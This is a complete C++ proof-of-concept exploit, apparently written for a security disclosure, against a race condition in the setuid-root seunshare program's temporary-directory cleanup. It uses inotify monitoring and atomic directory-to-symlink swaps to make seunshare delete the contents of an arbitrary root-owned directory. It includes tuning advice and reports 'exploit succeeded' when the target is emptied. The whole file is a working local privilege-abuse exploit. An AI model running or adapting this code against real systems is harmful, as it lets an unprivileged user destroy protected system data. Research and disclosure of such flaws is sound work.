#include <exception>
#include <filesystem>
#include <format>
#include <iostream>
#include <optional>
#include <string>
#include <string_view>
#include <utility>
#include <vector>
#include <cstring>

#include <dirent.h>
#include <fcntl.h>
#include <sched.h>
#include <stdlib.h>
#include <sys/inotify.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <unistd.h>

using namespace std::string_literals;
using Path = std::filesystem::path;

bool verbose = false;

/*
 * Author: Matthias Gerstner <matthias.gerstner@suse.com>
 * Date: 2026-07-09
 */

/*
 * small helper class to deal with the inotify API
 */
class INotify {

	int m_inotify = -1;
	std::vector<std::byte> m_buffer;
	size_t m_buffer_pos = 0;

public:
	INotify() {
		m_inotify = inotify_init1(IN_CLOEXEC);
		if (m_inotify < 0) {
			throw "failed to create inotify FD";
		}
	}

	~INotify() {
		close(m_inotify);
	}

	int fd() const {
		return m_inotify;
	}

	int add(const Path &dir, const int mask) {
		const auto watch = inotify_add_watch(m_inotify, dir.c_str(), mask);

		if (watch < 0) {
			throw "failed to add_watch";
		}

		return watch;
	}

	void del(int watch) {
		if (inotify_rm_watch(m_inotify, watch) < 0) {
			throw "failed to rm_watch";
		}
	}

	void makeNonBlocking() {
		if (fcntl(m_inotify, F_SETFL, O_NONBLOCK) < 0) {
			throw "fcntl failed";
		}
	}

	/*
	 * If `watch` == -1 then any event will be returned. Otherwise only
	 * matching events will be returned, others will be discarded.
	 *
	 * If the FD is in non-blocking mode then std::nullopt will be
	 * returned if no event is available.
	 *
	 * The returned pair contains the path that changed (empty if the
	 * watch itself is affected) and the event mask associated with it.
	 */
	std::optional<std::pair<std::string_view, int>> readEvent(int watch) {
		if (m_buffer_pos >= m_buffer.size()) {
			m_buffer.resize(8192);
			if (const auto read = ::read(m_inotify, m_buffer.data(), m_buffer.size()); read < 0) {
				if (errno == EAGAIN)
					return std::nullopt;
				throw "bad inotify read";
			} else {
				m_buffer.resize(read);
				m_buffer_pos = 0;
			}
		}

		const inotify_event *ev = reinterpret_cast<const inotify_event*>(
				m_buffer.data() + m_buffer_pos);
		m_buffer_pos += sizeof(*ev) + ev->len;

		if (watch != -1 && ev->wd != watch) {
			// we're not interested in this watch, discard this
			// event and read another.
			return readEvent(watch);
		}

		if (ev->len == 0)
			// event without associated name e.g. for the watch
			// itself
			return std::make_pair("", ev->mask);

		size_t strlen = ev->len;
		/* `len` contains possible padding bytes, find the actual
		 * string end */
		for (const char *ch = ev->name + ev->len - 1; ch > ev->name; ch--, strlen--) {
			if (*ch != 0)
				break;
		}
		return std::make_pair(std::string_view{ev->name, strlen}, ev->mask);
	}
};

/*
 * the actual exploit logic
 */
class SeDeleter {
	Path m_seunshare;
	Path m_setmpdir; // directory we pass via `-t`, this will be copied into a randomly created dir in /tmp/.sandbox-<user>-...
	Path m_todelete; // the root-owned path we want to delete
	Path m_sandboxdir; // the randomly created dir in /tmp.sandbox-<user>
	int m_sandboxdir_fd = -1; // dir fd for m_sandboxdir
	pid_t m_seunshare_pid = -1;
	int m_seunshare_pidfd = -1;
	INotify m_inotify;
	std::string m_file_to_add;
	const unsigned long m_delay;

	// fork and exec a new program
	pid_t exec(const std::vector<std::string> &cmdline, const bool verbose=false);

	// wait for the given child
	void wait(pid_t child) const;

	void runSeunshare();

	// checks whether the m_todelete is already empty
	std::optional<bool> checkExploitDirEmpty() const;

	void setupSeTmpDir();

	// atomically replaced directories with symbolic links in m_setmpdir
	size_t replaceDirsWithLinks();

	// obtain a directory FD for the given path
	int getDirFD(const Path &path) {
		int ret = open(path.c_str(), O_RDONLY|O_DIRECTORY|O_CLOEXEC);
		if (ret < 0) {
			throw "failed to open dir fd";
		}
		return ret;
	}

public:
	explicit SeDeleter(const Path seunshare_bin, const Path todelete, const unsigned long delay) :
			m_seunshare{seunshare_bin},
			m_todelete{todelete},
       			m_file_to_add{"a-new-file"},
			m_delay{delay} {
		auto home = ::getenv("HOME");
		if (!home) {
			throw "no HOME directory path";
		}

		m_setmpdir = Path{home} / "sedeleter-tmp";
	}

	~SeDeleter() {
		if (m_seunshare_pid != -1) {
			wait(m_seunshare_pid);
		}

		if (m_seunshare_pidfd != -1) {
			close(m_seunshare_pidfd);
		}

		if (m_sandboxdir_fd != -1) {
			close(m_sandboxdir_fd);
		}
	}

	int run();
};

std::optional<bool> SeDeleter::checkExploitDirEmpty() const {
	try {
		for (const auto &entry: std::filesystem::directory_iterator(m_todelete)) {
			return false;
		}
	} catch(const std::exception &ex) {
		// access denied probably
		return std::nullopt;
	}

	return true;
}

size_t SeDeleter::replaceDirsWithLinks() {
	if (m_sandboxdir_fd == -1) {
		throw "no sandboxdir fd";
	}
	size_t renamed = 0;
	for (const auto subdir: {"one", "two", "three", "four"}) {
		const auto link = std::string{subdir} + ".link";
		if (::renameat2(m_sandboxdir_fd, subdir, m_sandboxdir_fd, link.c_str(), RENAME_EXCHANGE) == 0) {
			renamed++;

		} else if (verbose) {
			std::cerr << strerror(errno) << "\n";
		}
	}
	close(m_sandboxdir_fd);
	m_sandboxdir_fd	= -1;
	return renamed;
}

pid_t SeDeleter::exec(const std::vector<std::string> &cmdline, const bool verbose) {
	if (verbose) {
		std::cout << "executing \"";
		for (const auto &part: cmdline) {
			std::cout << part << " ";
		}
		std::cout << "\"" << std::endl;
	}

	if (const auto child_pid = fork(); child_pid == 0) {
		if (cmdline.empty()) {
			throw "empty cmdline";
		}
		std::vector<char*> argv;
		for (auto &par: cmdline) {
			argv.push_back(const_cast<char*>(par.c_str()));
		}
		argv.push_back(nullptr);
		::execvpe(cmdline[0].c_str(), argv.data(), environ);
		throw "execve failed";
	} else {
		return child_pid;
	}
}

void SeDeleter::wait(pid_t child) const {
	int stat;
	waitpid(child, &stat, 0);
}

void SeDeleter::runSeunshare() {
	m_seunshare_pid = exec({m_seunshare.c_str(), "-t", m_setmpdir.c_str(),
			"--", "/usr/bin/touch", std::format("/tmp/{}", m_file_to_add)}, true);
	m_seunshare_pidfd = syscall(SYS_pidfd_open, m_seunshare_pid, 0);
	if (m_seunshare_pidfd < 0) {
		throw "failed to pidfd_open()";
	}
}

void SeDeleter::setupSeTmpDir() {
	/*
	 * stage a "tmp directory" for seunshare to copy over to /tmp
	 *
	 * if it already exists then it will be re-used
	 */
	std::filesystem::create_directory(m_setmpdir);
	/*
	 * create multiple empty sub-directories, which gives us multiple
	 * opportunities to exploit the race in seunshare's rm_rf().
	 */
	for (const auto subdir: {"one", "two", "three", "four"}) {
		auto pid = exec({"rm", "-rf", m_setmpdir / subdir});
		wait(pid);
		std::filesystem::create_directory(m_setmpdir / subdir);
		/* create symbolic links ready to be atomically exchanged with
		 * the directories to exploit the race */
		const auto link = m_setmpdir / (std::string{subdir} + ".link");
		// remove possible old target directory link
		(void)unlink(link.c_str());
		if (::symlink(m_todelete.c_str(), link.c_str()) < 0) {
			throw "failed to symlink";
		}
	}

	/* create a large file in there which needs to be copied over
	 * by seunshare. This gives us a nice time-window during which
	 * we can check which temporary directory has been selected to stage
	 * our exploit */

	// this will create a file 64 MiB in size
	constexpr auto CHUNK = 8192;
	constexpr auto COUNT = 8192;

	const auto large_file = m_setmpdir / "largefile";

	try {
		if (std::filesystem::file_size(large_file) == COUNT * CHUNK) {
			/* already there, keep it to save time */
		}
	} catch (const std::exception &) {
		int large_fd = open(large_file.c_str(), O_WRONLY|O_TRUNC|O_CREAT|O_CLOEXEC, 0644);
		if (large_fd < 0) {
			throw "bad open";
		}
		std::vector<std::byte> zeroes{CHUNK, std::byte{0}};
		for (size_t count = 0; count < COUNT; count++) {
			if (write(large_fd, zeroes.data(), zeroes.size()) < 0) {
				throw "bad write";
			}
		}

		close(large_fd);
	}

	// remote the file we're waiting for as a trigger, which may be left
	// over from a previous run
	unlink(std::format("{}/{}", m_setmpdir.c_str(), m_file_to_add).c_str());
}

int SeDeleter::run() {
	/*
	 * Try to verify if there's something to delete in the first place
	 */
	if (const auto empty_opt = checkExploitDirEmpty(); !empty_opt.has_value()) {
		std::cout << "Cannot check contents of " << m_todelete << "; assuming it is non-empty\n";
	} else if (*empty_opt) {
		throw std::format("exploit dir {} is already empty", m_todelete.c_str());
	}

	setupSeTmpDir();

	/*
	 * We want to quickly get notified about the directory name in /tmp
	 * that seunshare creates to copy over our "tmp dir".
	 */
	auto tmp_watch = m_inotify.add("/tmp", IN_CREATE);
	/*
	 * Our sandbox command will create a new file in its /tmp. When
	 * `seunshare`'s cleanup_tmpdir() starts to rsync the contents back
	 * into the original directory then this tells us that the second
	 * phase of deleting the temporary directory again is soon about to
	 * happen.
	 *
	 * We could also inheriting a pipe to the sandbox process on which it
	 * will block, to cleanly synchronize with the sandbox being executed,
	 * but it doesn't seem necessary to succeed in the exploit.
	 */
	auto watch = m_inotify.add(m_setmpdir, IN_MOVED_TO);

	runSeunshare();

	bool file_synced_back = false;

	/*
	 * Now wait for both events:
	 *
	 * - the random /tmp directory being created
	 * - the file created by the sandbox process being rsync'ed back
	 */
	while (m_sandboxdir.empty() || !file_synced_back) {
		const auto [name, mask] = *m_inotify.readEvent(-1);

		if (name.starts_with(".sandbox-")) {
			m_sandboxdir = Path{"/tmp"} / name;
			if (verbose)
				std::cerr << "found sandbox dir: " << m_sandboxdir << "\n";
			m_inotify.del(tmp_watch);
			/*
			 * get a directory FD for the temporary directory so that we can
			 * quickly act on it when the time comes.
			 */
			m_sandboxdir_fd = getDirFD(m_sandboxdir.c_str());
		} else if ((mask & IN_MOVED_TO) != 0 && name == m_file_to_add) {
			if (verbose)
				std::cerr << "2nd rsync detected\n";
			file_synced_back = true;
			m_inotify.del(watch);
		}
	}

	/*
	 * Now wait for the delete algorithm events
	 */
	watch = m_inotify.add(m_sandboxdir, /*verbose ? IN_ALL_EVENTS : */IN_DELETE|IN_DELETE_SELF);

	/*
	 * From here on enter non-blocking mode for inotify. This way we can
	 * select() for inotify events and for seunshare process exit in
	 * parallel, being able to detect a failed exploit and exit the
	 * process.
	 */
	m_inotify.makeNonBlocking();

	bool dir_exists = true;
	size_t num_deletes = 0;
	fd_set readable;
	FD_ZERO(&readable);
	const int nfds = std::max(m_inotify.fd(), m_seunshare_pidfd) + 1;

	while (dir_exists) {
		FD_SET(m_inotify.fd(), &readable);
		FD_SET(m_seunshare_pidfd, &readable);

		::select(nfds, &readable, nullptr, nullptr, nullptr);

		if (FD_ISSET(m_seunshare_pidfd, &readable)) {
			/*
			 * in this case a /tmp/.sandbox-user directory will
			 * remain in the host's /tmp.
			 */
			std::cerr << "seunshare exited, failed to fully delete the tmpdir\n";
			break;
		}

		while (true) {
			auto opt_ev = m_inotify.readEvent(watch);
			if (!opt_ev)
				/* nothing more to read without blocking */
				break;
			const auto [name, mask] = *opt_ev;

			if (verbose) {
				std::cerr << "\tinotify " << (name.empty() ? std::string_view("<self>") : name) << " " << mask << " ";
				if ((mask & IN_ISDIR)) {
					std::cerr << "isdir,";
				}
				if ((mask & IN_OPEN)) {
					std::cerr << "open";
				}
				if ((mask & IN_CLOSE_WRITE)) {
					std::cerr << "close/write";
				}
				if ((mask & IN_CLOSE)) {
					std::cerr << "close/read";
				}
				if ((mask & IN_DELETE)) {
					std::cerr << "delete";
				}
				if ((mask & IN_ACCESS)) {
					std::cerr << "access";
				}
				std::cerr << "\n";
			}

			if ((mask & IN_DELETE_SELF) || (mask & IN_IGNORED)) {
				std::cout << "sandbox dir fully deleted\n";
				dir_exists = false;
				break;
			} else if (!name.empty() && (mask & IN_DELETE)) {
				/*
				 * we'll typically see two regular file deletes in the
				 * top of the directory, after that the race spot
				 * kicks in: fstatat() & openat(), we need to replace
				 * the dirs by symlinks in-between.
				 */
				if (++num_deletes == 2) {
					/*
					 * XXX this needs adjustment for your
					 * target system, you need to tune it
					 * until you see an equilibrium between
					 * succeeded and failed link
					 * replacement attempts, then it will
					 * usually take only a couple of
					 * seconds or a few minutes to
					 * succeed.
					 */
					usleep(m_delay);
					const auto renamed = replaceDirsWithLinks();
					std::cerr << "replaced " << renamed << " links" << std::endl;
				}
			}
		}
	}

	if (const auto empty = checkExploitDirEmpty(); empty.has_value() && *empty == true) {
		std::cout << ">>> exploit succeeded! <<<\n";
		return 0;
	} else if (empty) {
		std::cout << ">>> exploit failed <<<\n";
		return 1;
	} else {
		// indeterminate
		return 2;
	}
}

int main(const int argc, const char **argv) {
	if (argc != 4) {
		std::cerr << argv[0] << " SEUNSHARE TODELETE DELAY\n\n";
		std::cerr << "SEUNSHARE: path to the seunshare setuid-root program\n";
		std::cerr << "TODELETE: path to the directory to attempt to delete via the exploit\n";
		std::cerr << "DELAY: delay in usec before attempting atomic replace of dirs by links\n";
		return 1;
	}

	if (::getenv("SEDELETER_VERBOSE") != NULL) {
		verbose = true;
	}

	try {
		const auto seunshare_bin = Path{argv[1]};
		const auto todelete = Path{argv[2]};
		const auto delay = std::stoul(argv[3], nullptr);

		std::cout << std::format("Attempting to delete {} via {} applying a delay of {} usec\n",
			todelete.c_str(), seunshare_bin.c_str(), delay);

		SeDeleter deleter{seunshare_bin, todelete, delay};

		return deleter.run();
	} catch (const char *prob) {
		std::cerr << "exception: " << prob << "\n";
		return 1;
	} catch (const std::string &prob) {
		std::cerr << "exception: " << prob << "\n";
		return 1;
	} catch (const std::exception &ex) {
		std::cerr << "exception: " << ex.what() << "\n";
		return 1;
	}
}
